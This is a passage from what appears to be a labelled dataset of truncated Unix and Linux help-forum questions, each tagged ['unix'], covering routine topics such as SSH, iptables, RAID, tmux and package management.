09:24:40 ABCD 04006001021S01UK 09:24:42 ABCD 7878696621321312 23213213213213 ABCD ... ",['unix'] "Title: LXC: running Virualbox within a container Body: I've installed virtualbox inside an lxc container. However when I try to start a VM I get the error message: kernel driver not accessible (rc=1909) ....permission problem with /dev/vboxdrv. This ... ",['unix'] "Title: backlight doesn't work with Linux Mint 14 on my Gateway NV78 laptop Body: Here is my problem it is Bug 765438--the backlight will not work on my Gateway NV 78 laptop. Won't work with Linux Mint 14, ubuntu from ubuntu 11.04 onward won't work with ps-bcd. Of course it ... ",['unix'] "Title: How do I make Vim behave like “tail -f”? Body: I would like to know if there is a way to make Vim behave like tail -f. Even the best Vim plugin I've found so far doesn't do what I expect. I really want to see the file update in real-time. Even ... ",['unix'] "Title: What is the mechanism/system call used to change the size of anonymos mmap() 'ed sections Body: I have a question about how to track down the source of steadily increasing data footprint of a process in Linux. I have a multi-threaded Linux server, and I am observing that the size of an ... ",['unix'] "Title: aptoncd problem Body: I tried to burn all the packages installed on my machine to a CD using AptonCD but when I tried to, I found that not all the packages are shown in the list. Why is this happening? How can I burn all ... ",['unix'] "Title: Is there any remote GUI for ffmpeg? Body: I'm looking for some software with both Linux and Windows versions that can remotely run FFMPEG commands on my Linux server. Just like what transmisson-remote-gui does for Transmission. In summary, I ... ",['unix'] "Title: how to list all the internet's IP ranges? [closed] Body: I was wondering if I list all the IP ranges directly available on the internet. perhaps also group them by country and ISP? I know that a lot of people do research nowadays on datamining and ... ",['unix'] "Title: grub-install --no-floppy /dev/sda fails (Funtoo) Body: I am trying out Funtoo on a new machine. I've been through the installation process, as described in Funtoo Linux Installation . Specifically, the installation is done from within an existing Linux ... ",['unix'] "Title: Running VNC viewer without opening a console Body: Right now I have to open a console and type: xtightvncviewer [ip-address] to open the viewer. That's okay, but then I need to leave the console open or otherwise the viewer will close. I've tried: ... ",['unix'] "Title: Can I recursively print all current remote shells? Body: Is there a way to print out all of the local and remote shells I am currently in, recursively? For example, on my local machine, I will ssh into another machine. From there, I may switch users ... ",['unix'] "Title: How to stop Rainlendar from hiding on the Linux Mint desktop? Body: Rainlendar is a great tool to keep events and tasks on the desktop (I did not find a better solution yet). The problem is that the application completely hides if you press: The ""Show Desktop"" ... ",['unix'] "Title: Change the color of tcsh output for any command Body: I want a different color for terminal returns: Example: $ pwd //when return key is hit $ /home/user/tools //return value printed in different color, say: grey color This ... ",['unix'] "Title: Globally blocking ftp commands to increase security - any tips? Body: I'm configuring a ""pretty secure ftp"". I have choosen and compiled proftpd just due its mod_vroot feature and ldap integration, and i'm proud to achieve the following configuration: virtual ... ",['unix'] "Title: Run CentOS 6 from a USB flash drive Body: I have a 16 GB USB flash drive that I would like to install CentOS 6 on so that I can boot into it on other computers. The reason for this is because I am going to be upgrading to VPS hosting and I ... ",['unix'] "Title: Script to take username and password [closed] Body: I need to stop few services. whenever we entred the command to stop the service it'll prompt for username and password. We need to automate this whole scenario to take username and password directly ... ",['unix'] "Title: difference between bash, -bash and /bin/bash in ps output [duplicate] Body: Someone had spawned a while true loop in bash (logged in as root) on a server. It kept spawning processes, which fortunately exited but I needed to kill the parent. I came to know it was spawned ... ",['unix'] "Title: sudo: ulimit: command not found Body: I was using ubuntu 12.04 ,on which I run ulimit -n ,it is showing 1024, I want to increase my open file limit from 1024 to 65535,so I tried the following command: sudo ulimit -n 65535 but i get the ... ",['unix'] "Title: No network interface for the lan9118 emulated on QEMU 1.4.0 overo machine Body: Im using QEMU 1.4.0 Ubuntu 13.04 distribution. Im trying to make the virtrual machine part of the host network so Im ussing this command: sudo qemu-system-arm -M overo -m 1024 -sd ./test.img -clock ... ",['unix'] "Title: zpool import - cannot import: one or more devices is currently unavailable Body: I have moved a ZFS pool from one SunFire server running some pre-release of Solaris 11 to another server running latest Solaris 10 and now can't import it. It was properly zfs export from the old one. ... ",['unix'] "Title: How to disable VLC output in command-line mode? Body: When I play music on vlc or cvlc in terminal or console there is always this (shown below) non-stopping output that prevents me from issuing commands by pressing ENTER key. I want to disable it, I ... ",['unix'] "Title: Public-Key Authentication w/ Jailed SFTP User Body: I'm trying to set up a jailed SFTP user account on my own local machine to test an application with libcurl. I used this guide to help me figure out how to set up a jailed SFTP user: ... ",['unix'] "Title: On partition table Body: I'm using Lubuntu 11.10. Here is my hard disk. I have two partitions mounted, sda1 and sda2. As you can see I have a lot of free space in the middle (yes, I wanted that). Now I'd like to use ... ",['unix'] "Title: How to capture stdout of a running process redirected to /dev/null Body: I want to capture stdout of running process whose stdout is being redirected to /dev/null. I tried using system call fcntl(), however the moment I close fd ""1"", it was being allocated for other files ... ",['unix'] "Title: GNU Screen doesn't echo unicode characters correct Body: When I do this in my terminal: echo -e ""\xF0\x9f\x8d\xba"" I get a cool beer mug in my terminal: 🍺 However, when I start screen, and try the same, I'm getting a �. How do I get the nice beer mug? ... ",['unix'] "Title: iptables prevents connection via ssh after port change despite ACCEPT rule Body: I have two machines hooked up to a router, one Windows with PuTTY, and one CentOS 6.4 with sshd and with the default SELinux still enabled. They can both ping each other successfully. I installed ... ",['unix'] "Title: Can I trigger an alternate keyboard layout based on switching windows? Body: I'd like to use different keyboard layouts (that I set with setxkbmap) depending on the application window that has focus. So for example, I'd like to switch when I change the window from terminal ... ",['unix'] "Title: Using Grub2 to boot linux mdraid whole device RAID6 Body: Linux mdraid supports device RAID (as opposed to partition RAID). The new superblock versions are also smart enough to not put the meta data right at the start of a disk. Does that mean it's possible ... ",['unix'] "Title: What caused this ext3 filesystem / mounting problem? Body: ((K)Ubuntu 12.04, kernel 3.2.0-38-generic, fstype ext3) I recently came across the 'great idea' of using hibernation to save state in my main OS, while I boot another OS. I've done this without ... ",['unix'] "Title: vsftpd: 550 Failed to change directory Body: I'm using ubuntu 12.04. and ftp service I've installed vsftpd and it's working fine. But may I'm facing some user complexity. My system directory like: -/ --/home ----/rony --/vol When I list ... ",['unix'] "Title: telnet client - output hexadecimal network traffic on debian Body: Reading the manpage I thought it should be possible to print incoming characters in hexadecimal. But it didn't work. Do you know what I'm doing wrong? This is the relevant manpage description: debug ... ",['unix'] "Title: Where is the Ctrl+/ (^/) bash shortcut for undo defined? Body: I can not find the mapping in bind -p nor in stty -a. Also, it only works in the terminal emulators I've tried (xterm, konsole, gnome-terminal) and not in the linux system console. I think it's ... ",['unix'] "Title: Slow wifi on Intel N 6235 Body: I have extremely slow wifi connection on my linux mint. The network controller is Intel Corporation Centrino Advanced-N 6235 (rev 24). I found on the ubuntu wiki a fix: sudo rmmod iwlwifi && ... ",['unix'] "Title: how to map users and group with sshfs Body: As you can see below I'm able to map the user from kevcoder00 to kevcoder01 but the group gets mapped to marigold although that group does not exists on kevcoder01 l00py@kevcoder00:~$ sshfs -o ... ",['unix'] "Title: Building deb: How to put arch independent files into separated .deb package? Body: When you build a deb how do you make it so arch independent data such as plugin files to be packaged into a separated .deb? ",['unix'] "Title: How to configure hard drive Body: I have a hard drive that is not configured, it shows this in fdisk -l: Disk /dev/dm-2: 107.4 GB, 107369988096 bytes 255 heads, 63 sectors/track, 13053 cylinders Units = cylinders of 16065 * 512 = ... ",['unix'] "Title: What does `l` mean in an `ls` listing? Body: When I run ls -adl .* in one of my directories, I get a file that has this listing: lrwxrwxrwx 1 user group 43 Jul 3 16:25 .#filename.py -> person@computer.edu.4018:1372874769 The filename ... ",['unix'] "Title: batch rename file names including spaces and patterns [duplicate] Body: I would like to rename a bunch of files which are named in a general form of, text1 text2 [firstname.lastname] text3 ... textn.ext I want to remove the text [firstname.lastname] from the name of a ... ",['unix'] "Title: Where are the variables stored for mate-calc? Body: I know that there's no way to delete them by default in the application, but they have to be stored somewhere? I'm pretty handy with the command line, so I can do some such there. I believe that ... ",['unix'] "Title: is there an alternative to tail -f that has convenient scrolling? [duplicate] Body: I'm usually inside GNU Screen or tmux, which doesn't give me excellent scrolling functionality. Is there an alternative to tail -f that allows me to quickly scroll up? A tool that is like most is to ... ",['unix'] "Title: Read files in Directory and take diff Body: I have two directories named comp1 and comp2 and both have files named file1 and file2. I need a bash script which read file1 from both the directories and take diff of each file and redirect to some ... ",['unix'] "Title: backup script to exclude some parent dir and include some child dir Body: What I'm trying to do backup? users home dir which include Desktop,Documents,Pictures, thunderbird which i need to backup of every user all users are in /home partition with there respective user ... ",['unix'] "Title: Passing execution from initrd to real init and issues with missing devices under /dev/mapper Body: For Gentoo, I am able to (finally) boot my encrypted system with an initrd and LILO. I used the guide at http://whitehathouston.com/documentation/gentoo/initramfs_howto.htm However it appears that ... ",['unix'] "Title: How and where can I permanently set $ program file to have extra argument '&' Body: When I run a program from terminal like so: $ program file For example $ gedit myfile.txt I cannot think of a time when I would not prefer to use '&' so that I can free up my terminal ... ",['unix'] "Title: Installing mlocate on mac OS 10.7 Body: I'm a beginner in using Linux. I'm trying to use the command ""locate"". Once I use this command, I get an error that says the locate database should be created. I used the command below to create that ... ",['unix'] "Title: Have rights during shell but not in a script (unless I sudo it) Body: I have a really basic confusion. How does sudo work? I noticed that when I ran a script it failed, since it tried to write a file in a directory that the following permissions: $ ls -l thedir ... ",['unix'] "Title: Are commands executed through SSH transparent to a remote host's administrator? Body: Can administrators know what commands I execute non-interactively through SSH? For example: does echo hello get logged somewhere at remote if I run this? $ ssh me@remote ""echo hello"" Can remote ... ",['unix'] "Title: Assigning a value with echo piped together with the bc command and using a variable as an argument Body: Basically i'd like to assign to variable $finalbyte a value (which consists of a binary representation of a byte e.g 11100000). So trying to do that i put the following as part of some script: ... ",['unix'] "Title: Fedora OS structure change Body: I recently noticed that the structure of 16: http://redhat.download.fedoraproject.org/pub/fedora/linux/releases/16/Fedora/x86_64/os/ is different from 17: ... ",['unix'] "Title: sed - replace complex lines in a file using variables Body: How do I replace a complex line in a file using sed? For example I want replace a udev rule in /etc/udev/rules.d/70-persistent-net.rules. This doesn't work: OLD_RULE='SUBSYSTEM==""net"", ... ",['unix'] "Title: Automated mounting for usb drives in linux Body: I have a five 4TB usb drives. I want to setup a mount point, /mnt/backups so that when I plug in any of those drives, they get automatically mounted to /mnt/backups. The problem is that when the ... ",['unix'] "Title: How to test that X11Forward is working or not? Body: X11Forwarding yes was enabled and sshd reloaded. But how can I test that X Forwarding works or not? xclock is not installed. Perl and python-base is installed, are there any tricks ex.: pop-up a GUI ... ",['unix'] "Title: Ubuntu change language encoding for file uploading Body: Previously we were running a Wordpress site on a Mac OS Server machine. We had several hundred images with Chinese characters for the image names. Now we're trying to migrate to a Ubuntu system and ... ",['unix'] "Title: If htaccess doesn't use cookies, then how does it identify the client? Body: If I log in to my site that I protected with htaccess (so it pops up for a username/pwd) then I can't see any cookies. But why? How could the server identify that I'm the one that already logged in to ... ",['unix'] "Title: Trapping errors in command substitution using “-o errtrace” (ie set -E) Body: According to this ref manual: -E (also -o errtrace) If set, any trap on ERR is inherited by shell functions, command substitutions, and commands executed in a subshell environment. The ERR ... ",['unix'] "Title: NTP synchroinzation waiting for a while after booting Body: According to the recommendation on Arch Wiki, I set my hardware clock to UTC. And here is the result of timedatectl status on my machine when just booted: Local time: Tue 2013-07-02 15:38:03 ... ",['unix'] "Title: Why does resume from hibernation pause/hang? Body: I used suspend (to ram) for a long time, and it worked flawlessly. Recently, I started using hibernate (to disk) - not-quite-flawlessly. Hibernate-to-disk works (from the terminal, so far - as ... ",['unix'] "Title: mails being marked as spam Body: I configured my own mail server using sendmail for our application . Mail server is used to send automated mails when a user registers at our site . I was able to implement this successfully, but ... ",['unix'] "Title: CentOS vs RedHat on hp DL 380 G5 Body: hp lists downloads for: » Red Hat Enterprise Linux 5 Server (x86) » Red Hat Enterprise Linux 5 Server (x86-64) » Red Hat Enterprise Linux 6 Server (x86) » Red Hat Enterprise Linux 6 Server ... ",['unix'] "Title: Open luks-encrypted partition from virtual DomU LVM disk containing another LVM Body: I've gotten myself in a bit of a bind, here. A while ago I set up an encrypted Unbuntu 13.04 under Xen. It's virtual disk is an LVM LV. This LV was presented to the DomU as a (whole) physical disk ... ",['unix'] "Title: AIX and Subversion Body: Very basic question regarding AIX and Apache Subversion: I need to install an Apache Subversion client onto an AIX 4.3 system. (Yes, this is a rather old version of AIX; the story is too long and ... ",['unix'] "Title: Import EPEL GPG key in kickstart post-installation Body: I'm trying to use Oz to create a CentOS 6.4 virtual machine image and install some packages from EPEL. When it tries to install the epel-release package, I get the error: Public key for ... ",['unix'] "Title: RAID on USB stick Body: I have a USB stick that's showing some weird problems. I'd like to create a number of partitions (3?) and use RAID over those partitions to ensure resilience to failure. Is this a good idea? How do I ... ",['unix'] "Title: Possible to install PHP 5.2.17 on a new CentOS 6.4 system? Body: I'm trying to set up CentOS 6.4 (Linux 2.6.32-358.11.1.el6.x86_64) with a specific version of PHP (5.2.17) as it is required by an app I'm trying to install. I've downloaded the PHP version and ... ",['unix'] "Title: Deadlock in a crontab between cron and its child defunct processes Body: I'm having a strange case of deadlock, where the two processes launched by cron are defunct, but cron does not pick the return code and exit. I don't have access to the root user. myuser@myserver:~) ... ",['unix'] "Title: Resolving circular dependency hell for libX11 and libXi Body: I'm trying to install X11 from source. Source files from some repository: libX11-1.6.0.tar.gz libXi-1.7.1.901.tar.gz libX11-1.6.0 paulk@node005:libX11-1.6.0$ ./configure --prefix=$HOME/software ... ",['unix'] "Title: securing a file on disk with password protection usig strong ssl cipher and view the file in more secured way Body: I was trying to decrypt a file to standardout and piped its content to a given command. for example cat comand, wc command etc. However I felt the following command can be simplified, any further ... ",['unix'] "Title: how to list blocked connections events by the firewall? Body: So, I used firestarter that had logged blocked connections events with some useful details (but it is not being updated and I found somewhat unsafe as any moment we could click to deactivate the ... ",['unix'] "Title: Doesn't umask apply to files? Body: I have set the umask to 0. So: $umask 0000 I do echo 'test' > test.txt And test.txt is created. If I do: ls -l test.txt I see: $ls -l test.txt -rw-rw-rw- 1 jim None 5 Jun 30 22:50 ... ",['unix'] "Title: Tilde when clicking <Del> key Body: I am using XFCE Terminal emulator 0.4.8. My ~/.inputrc file: # Insert Key ""\e[2~"": paste-from-clipboard ""\C-v"": paste-from-clipboard ""\e[A"":history-search-backward ""\e[B"":history-search-forward ... ",['unix'] "Title: Convert Debian Live USB persistent filesystem to a standalone installation Body: How would I convert a persistent filesystem (live-rw) from a Debian Live USB to a standalone, bootable installation that can be run on a VM? What I've tried Chrooting and installing a bootloader ... ",['unix'] "Title: Anomalies in GNOME 3 desktop Body: I recently installed Debian ""wheezy"" v 7.1.0 which defaults to using GNOME 3 as the desktop environment. It looks pretty and I want to use it to see how it differs from previous versions of GNOME. ... ",['unix'] "Title: How do I set the PATH or other environment variables so that X apps can access it? Body: How can I set env variables so that KDE recognizes them? How do you set the path in a non-shell environment (KDE)? Unlike the above two questions, I want to know how to do this for GNOME. Or better ... ",['unix'] "Title: Debian Wheezy : problem installing .deb package that uses update-rc.d with dependancy numbers Body: I'm trying to install a .deb file, written by us, on a new Debian Wheezy system. The .deb file was originally written for Lenny so is fairly old. I've tracked down one point where the installation ... ",['unix'] "Title: Should I use symlinks in /usr/bin or use the PATH variable instead? Body: I was looking to download some tool and it said to update your PATH variable, but I thought /usr/bin was the ""standard"". ",['unix'] "Title: How to log iptables as of kernel 3.9.0? Body: What is the right way to log iptables as of kernel 3.9.0? I can no longer append a logging rule such as: # iptables --new-chain droplog # iptables --append droplog --jump LOG --log-level info ... ",['unix'] "Title: Setting up CUPS and Brother Wireless Printer Body: I am running Fedora 18 and have CUPS and the brother printer driver and CUPS wrapper (provided by brother) installed on my machine. The printer model is the MFC-255CW. This printer works seamlessly ... ",['unix'] "Title: Wireless not detected in Linux Mint Body: I have updated my Linux Mint kernel from 3.2.0-23-generic to 3.8.0-23-generic, because the old kernel version freezes quite often. Now, I have a problem that my wireless network is not detected. ... ",['unix'] "Title: Simulating GNU Screen's shelltitle in tmux Body: I'm trying to simulate GNU Screen's shelltitle feature in tmux. I have the following in my ~/.bashrc: if [[ ""$TERM"" == screen* ]]; then SCREEN_ESC='\[\ek\e\\\]' else SCREEN_ESC='' fi ... ",['unix'] "Title: Do all distrbutions have the same drivers for ATI cards? Body: The problem is that my fan is too loud and working nonstop on my desktop. I have tried so far: Ubuntu 13.04, Linux Mint 15 and I had in both the same fan problem (nonstop working fan and very ... ",['unix'] "Title: Does any Linux distribution support setting mouse scroll wheel sensitivity? Body: I have tried Ubuntu 13.04 and Linux Mint 15 and both DO NOT HAVE optinos for setting mouse scroll wheel sensitivity. They had only mouse acceleration and sensitivity, but the scroll wheel speed you ... ",['unix'] "Title: Installation Error Message Re: Samba4 Body: Whenever I install software or get a software update, I'm always getting a Samba4 error. Here's a capture: Errors were encountered while processing: samba4 Error in function: Setting up ... ",['unix'] "Title: Resume bash session in new TMUX or SCREEN? [duplicate] Body: Sometimes I'll start doing something fast. I've got something to do, and I need to get it done now. Then of course i realize that I need to do something else to help me finish what I started, so I ... ",['unix'] "Title: How does -exec actually work Body: I am confused on the -exec command. E.g. in this case: find . -type f -name ""*.c"" -exec cat {} \;>all_c_files.txt It seems that I get cat file1 file2 file3 ... fileN While in this case: ... ",['unix'] "Title: Key mappings in Linux Body: What do people mean when they point out that the ""keys are not properly mapped"" in a Linux installation when working on the command line? Isn't the default installation OK? What extra/specific ... ",['unix'] "Title: Change the default shell to Python Body: If I changed my default shell from BASH to Python3 or IPython, would my Linux system have issues or produce errors? ",['unix'] "Title: Can I avoid screen from creating inner screens? Body: I just started using screen and ""screen inception"" makes learning screen even more confusing. Can I avoid screen from creating screens when I'm already inside a screen? I'm using fish as my shell ... ",['unix'] "Title: 43 seconds to mount swap on /dev/mapper/cryptswap1 Body: My Linux Mint takes longer than I would expect it to boot. Checking dmesg I see the following consecutive entries: [ 8.335668] Adding 9767484k swap on /dev/mapper/cryptswap1. Priority:-1 ... ",['unix'] "Title: Launch a process with limited permissions Body: I'd like to be able to launch processes with very limited permissions from the command line, basically so that I can run a process that I don't understand without it having access to things in my user ... ",['unix'] "Title: What would make the Simple Emacs Spreadsheet more newbie-friendly? Body: I am familiarizing myself with ses and I find that it's not very welcoming towards a new user. I am preparing to submit some sort of bug report or improvement suggestion, but I'm not really sure what ... ",['unix'] "Title: Change terminal prompt Ubuntu Body: I have cloned a git repository to a folder in my workspace: /home/jose/workspace/very-very-very-long-repository-name/ so when i browse to it in my terminal it looks like ... ",['unix'] "Title: kinit returns error salt type 3 unsupported on FreeBSD 9.1-RELEASE install Body: When attempting to run kinit to log into a Kerberos V5 realm I get the following error on a default install FreeBSD 9.1-RELEASE kinit: krb5_get_init_creds: salt type 3 not supported Any ideas? ",['unix'] "Title: How to setup PPPoE with OpenWrt Body: Probably this is a simple question, but I can't find an answer... I have an ADSL router (Dlink DSL-524T) which runs OpenWrt Backfire 10.03.1. It connects to the internet using PPPoA: this is my ... ",['unix'] "Title: Imagemagick convert incorrectly sizes landscape pdfs Body: When I run convert example.pdf example.png I get a png image, but the image in the pdf is off-center and too small. How do I convert so that the png image is the right size and takes the whole ... ",['unix'] "Title: How can I change the keyboard layout before I log in? Body: In order to switch to a new keyboard layout I have added an setxkbmap command to my Openbox's autostart.sh. However, this only takes effect once I log in (when Openbox starts). While logging in, in ... ",['unix'] "Title: Emulate unplugging a network cable with qemu-kvm Body: [Background: I'd like to actually test How to take down a static network interface when not connected? ] I'm setting up a QEMU-KVM virtual machine using libvirt (via virt-manager). I put two NICs on ... ",['unix'] "Title: Centos CMake Does Not Install Using gcc 4.7.2 Body: A similar problem has been reported here with no solution:https://www.centos.org/modules/newbb/print.php?form=1&topic_id=42696&forum=56&order=ASC&start=0 I've added and upgraded gcc ... ",['unix'] "Title: Which tool can tell me the distribution of Linux that is running when uname is generic? [duplicate] Body: I normally use uname to determine which OS is running, but I have accounts on several machines where I don't know the particular distribution that is running. When uname returns Linux, I tried uname ... ",['unix'] "Title: How can I see moved lines in a file comparison with vimdiff / diff? Body: Moved lines are frequently annotated as deletes and adds but they can be shown as moved-from and moved-to instead. Like in this screenshot of Notepad++. ",['unix'] "Title: Is there any way to deploy an virtual machine software via command line on centos3 Body: I have a centos3 based legacy distribution with all the desktop environment removed. I have only access via command line. I am now asked to run a centos 6.1 distribution on a virtual machine on this ... ",['unix'] "Title: How to take down a static network interface when not connected? Body: I have 2 network interfaces: eth0 for LAN connection wlan2 for wireless connection I have set them static in the /etc/network/interfaces file. The problem is that I rarely have both connected at ... ",['unix'] "Title: How to change the name an encrypted full-system partition is mapped to Body: My system is fully encrypted with dm-crypt and LVM. I recently moved the encrypted partition from /dev/sda5 to /dev/sda2. My question is: how can I change the name the encrypted partition is mapped ... ",['unix'] "Title: How can I mount vxfs FS to two or more Solaris servers? Body: I want to have two Solaris servers share the same SAN vxfs Filesystem. Though at a time just one would be accessing the share. This is to allow for a quick failover in case the primary server ... ",['unix'] "Title: How to Create a User Active for Just a Few Days? Body: I want to allow a user to use ssh tunneling for 30 days. After that if the user doesn't want to continue using ssh tunneling the user account will turn off automatically. If he/she wants to ... ",['unix'] "Title: rsync only subdirectories and content Body: I have a directory that contains a number of files and subdirectories. See below: baseDir bad1 bad2 subDir1 file1 subDir2 file1 I would like to rsync the contents of baseDir without ... ",['unix'] "Title: CentOS 6.4 Mail Server Body: I'm trying to install a mail server on my root server. I'm relative new to Linux but not a absolute beginner. There are many many how to's on the internet I tried to get my own mail server with ... ",['unix'] "Title: C Shell Array Declaration Syntax, () vs. {} [duplicate] Body: In my C-shell script (tcsh specifically) I have been trying to declare an array with six values: x, nx, y, ny, z, nz. After some trial and error I discovered three different ways of declaring the ... ",['unix'] "Title: sudoers: NOPASSWD in same line as PASSWD:ALL? Body: Is this combination legal: username ALL=(ALL) NOPASSWD: /usr/bin/foo, PASSWD:ALL or do they conflict or cancel each other out? ",['unix'] "Title: ffmpeg - Merge two audio sources with x11grab, possible? Body: Currently I'm running with the following setup. ffmpeg \ -i http://pub1.di.fm:80/di_vocaltrance \ -f x11grab -s 1920x1080 -r 25 -i :0.0 \ -c:v libx264 -preset fast -pix_fmt yuv420p -s 1280x800 \ ... ",['unix'] "Title: How to get smartd to ignore an HDD? Body: I have an external HDD which does not report SMART information properly (it gives nonsense results). As such, the smartd daemon (part of smartmontools) keeps giving false alarms on how the device ... ",['unix'] "Title: Copy symlinks from ext3 to cifs share Body: I'm using scp to copy files from a Linux disk (ext3 file format) to a Windows disk (NTFS exposed using CIFS over the network). I've found that scp follows symbolic links and copies their contents ... ",['unix'] "Title: How can I find the Secure Attention Key (SAK) on my system and can I disable it? Body: In answer to My process was killed but I cannot understand the kernel notice, I was pointed to some documentation on the Secure Attention Key (SAK) on Linux. I have a embedded system generated using ... ",['unix'] "Title: Cheap 100% Debian compatible ultrabooks [closed] Body: I'm looking for relatively cheap ultrabooks with 100% Debian compatible features. I have several ultrabooks on my list but they contain some additional features which i don't need (additional ... ",['unix'] "Title: SSH Login with key but without password with regular user on Synology Diskstation [duplicate] Body: For backup purposes I wan't to login to my Synology DS212j+ without using a password (but with a passwordless RSA key) and with a regular user (let's say the username is 'regularuser'). I've gotten ... ",['unix'] "Title: Linux mail client that can trigger a PHP script to parse email received Body: Is there any simple text-based mail client that I could use that could trigger a PHP script to parse mails received from the users? I have a PHP application that sends email out to users and it would ... ",['unix'] "Title: How do I run a command on multiple files Body: This is pretty basic, I have a folder with several subfolders of JS files and i want to run Google's Clojure compiler on all of the files in those folders. The command to process a single file is as ... ",['unix'] "Title: How to set default editor/viewer for Midnight Commander to Sublime Body: The question is quite straightforward, so no further description is needed according to me. I just add that I am running Ubuntu 13.04. Any help is welcomed. ",['unix'] "Title: SMTP Issue: did not issue MAIL/EXPN/VRFY/ETRN during connection to MTA Body: We had a urgent requirement for creating a mail server to send mail for our Portal application using Liferay. The mail account will be an administrative account to maintain the portal. I was able to ... ",['unix'] "Title: ${#array} vs ${#array[@]} Body: As far as I can tell both ${#array[@]} and ${#array} evaluate to the number of elements in $array. Is there any reason for preferring the longer form (${#array[@]})? ",['unix'] "Title: A Linux Distro/Project for Digital Literacy Body: I am in Africa, and I wish to know if there's any project that introduces Linux/Unix to new users? A project like this one of Microsoft's on Digital literacy. ",['unix'] "Title: How to send HDMI sound to OTHER HDMI port? Body: I am running XBMC on a Debian Testing system on my HTPC. I want to switch between my monitor for browsing and my tv for XBMC. This is no problem. But the sound only seems to reach my television when ... ",['unix'] "Title: Delete Static Routes on Solaris 10 Body: I have the following routes that I wish to delete: 10.250.0.0 10.250.0.37 UG 1 0 I have run the following to delete this with failure. bash-3.2# route delete ... ",['unix'] "Title: Creating deb and rpm from the same source Body: Is there a standard for source packages to be able to build rpms, debs (and perhaps others) without too much customization? I'm talking mostly about Python, PyQt programs. ",['unix'] "Title: Possible to get RAID1, by simply adding HDD? [duplicate] Body: I have server and there is one 1TB drive in it and I guess it's not running any raid, I'm thinking if it's possible to add another 1TB HDD and setup RAID1 somehow?(software raid1) Server is running ... ",['unix'] "Title: Is there any way to see how much data I sent via Internet? Body: A big German ISP (Telekom) recently decided to volume limit their DSL internet connection to 75GB per month. Now I would like to know how much I download / upload. I use Linux Mint 14 Nadia and I ... ",['unix'] "Title: how to output text to both screen and file inside a shell script? Body: Currently I have a shell script which logs messages to a log file like this: log_file=""/some/dir/log_file.log"" echo ""some text"" >> $log_file do_some_command echo ""more text"" >> $log_file ... ",['unix'] "Title: Dmenu Processes Forked by Bash? Body: I was looking at the output of pstree, and realised that processes that I started using dmenu seem to fork from bash. What is the reasoning behind this? And is there any way I can make dmenu behave ... ",['unix'] "Title: Rebooting fails randomly Body: That is, the following command fails at times: $ sudo reboot The last message on terminal, after which the machine gets stuck, requiring a power cycle: Restarting system. I tried the following ... ",['unix'] "Title: Remote desktop (KDE) over SSH reverse tunnel Body: I have a reverse ssh tunnel through a middleman server set up and working. I'm running Kubuntu 12.04 here and on the remote machine. I want to open a remote desktop session. Until now I've been ... ",['unix'] "Title: How to run sudo commands remotely via ssh -t? Body: I have a script that logs into a remote host via ssh -t and uses sudo service foo restart. The requirement is to avoid the prompt for a password on the remote host. The remote host authenticates via ... ",['unix'] "Title: How compatible is Centos in respect to hardware for desktop systems? Body: I have been tasked with creating a promotional/sales tool for our clients and sales people . (about 8400 users) It is expected that the tool will be used on office and home systems. The tool will ... ",['unix'] "Title: Clipboard utility to paste back multiple lines one by one Body: I need a tool or utility that can take a text file and copy each line onto the clipboard in a way so I can paste back the text line by line by continuously pressing Ctlr-V. For example, if the text ... ",['unix'] "Title: How to get the lines that contain -R with grep Body: How can I find ""-R"" in files with grep? I tried grep ""-R"" *.GNU to get the lines that contain -R, but it returns nothing. ",['unix'] "Title: debootstrap: unknown user 'root' in state override file Body: I muffed up my graphics card driver and/or xconfig files and decided to just reinstall Debian Linux (squeeze 6.0.6) last night. Part way through installing the base system, it failed. Sorry, I didn't ... ",['unix'] "Title: How can I use wget to download large files? [closed] Body: I want to get the ISO for a particular version of Linux, say 'Mint 14 “Nadia” KDE '. I tried using wget in the terminal to download the ISO of this distro: $ wget ... ",['unix'] "Title: kfreebsd ISO boot to grub menu Body: Having obtained the kfreebsd ISO image from here, I set up a VirtualBox VM to install from the ISO. When I boot up the VM, the session ends up with the grub menu instead of initializing the ... ",['unix'] "Title: How to follow and seek in a file being piped through a filter, in less Body: I basically wish to seek, search and follow a growing log file after passing it through a sed filter. I figured I need to follow a file with tail -f pipe it to sed and then pipe that to less. For ... ",['unix'] "Title: CUPS error log contains “No such interface `org.freedesktop.ColorManager'” Body: On my Ubuntu 13.04 laptop, CUPS writes this message into /var/log/cups/error_log for each printer on restart: W [25/Jun/2013:10:00:26 +0100] AddProfile failed: ... ",['unix'] "Title: omap3530/3630 emulation on QEMU for overo and beagle machines Body: On QEMU's source code for beagle and overo I can see that the cpu emulated is the OMAP3430. I will like to know if it's a way to make QEMU emulate OMAP3530/3630 cpu's for those machines? On bealge : ... ",['unix'] "Title: Change (reduce) Gnome 3 horizontal icon padding in notification area (Debian Wheezy) Body: I'm using Gnome 3.4 (classic mode) on Debian Wheezy. In the notification area, I would like to know how to change (reduce) the horizontal spacing (or padding) of the icons. By default, the icons ... ",['unix'] "Title: Debian dpkg broken after apt-get upgrade Body: I have been running Debian Wheezy for a long time. Today I ran a dpkg upgrade, which has somehow broken things badly. The upgrade aborted, and now apt-get and dpkg are not running. # dpkg dpkg: error ... ",['unix'] "Title: How do I get my wireless USB mouse working Body: My wireless USB mouse is not plugging and playing. This is my first time using linux (Ubuntu 12.04) and I'm trying to get a development environment going to learn to use the shell, Python, and other ... ",['unix'] "Title: Dropbox on Debian EAGAIN error on NTFS share Body: I am experiencing some weird problems, when using dropbox on my Debian install: I run Debian with testing repositories enabled I have Dropbox installed from the website My dropbox-location is on a ... ",['unix'] "Title: How do I get a linux kernel patch set from the mailing list? Body: I don't subscribe to the linux-kernel mailing list, but I want to get a set of patches that were posted a few weeks ago and apply them to my kernel for testing. I'm very familiar with patching, ... ",['unix'] "Title: bash: Accessing function call stack in trap function Body: Working on a bash function call stack trace... Script traps errors and runs a callStack() function. But on trapping, It always shows a call stack for the callStack() function itself instead of the ... ",['unix'] "Title: How do I run a shell command from .tmux.conf Body: How do I run a shell command from .tmux.conf, or otherwise automatically when tmux launches, without having to hit any other command? How can I create an alias, a function, or a script which boils ... ",['unix'] "Title: Magic trackpad natural scrolling interruption Body: I have my Apple Magic Trackpad connected to my Ubuntu 12.04 distro and it's working great with a custom xorg configuration file at /etc/X11/xorg.conf.d/60-apple-wireless-trackpad.conf: # ... ",['unix'] "Title: Merging preexisting source folders in mksquashfs Body: In this answer on a previous question, I found out how to modify files in a squashfs filesystem: # unsquash the filesystem to a local directory sudo cp /media/clonezilla/live/filesystem.squashfs ./ ... ",['unix'] "Title: Ubuntu styled notifications in Linux Mint Body: I recently installed Linux Mint 15 with Cinnamon. It ran smoothly after forcing a kernel update by 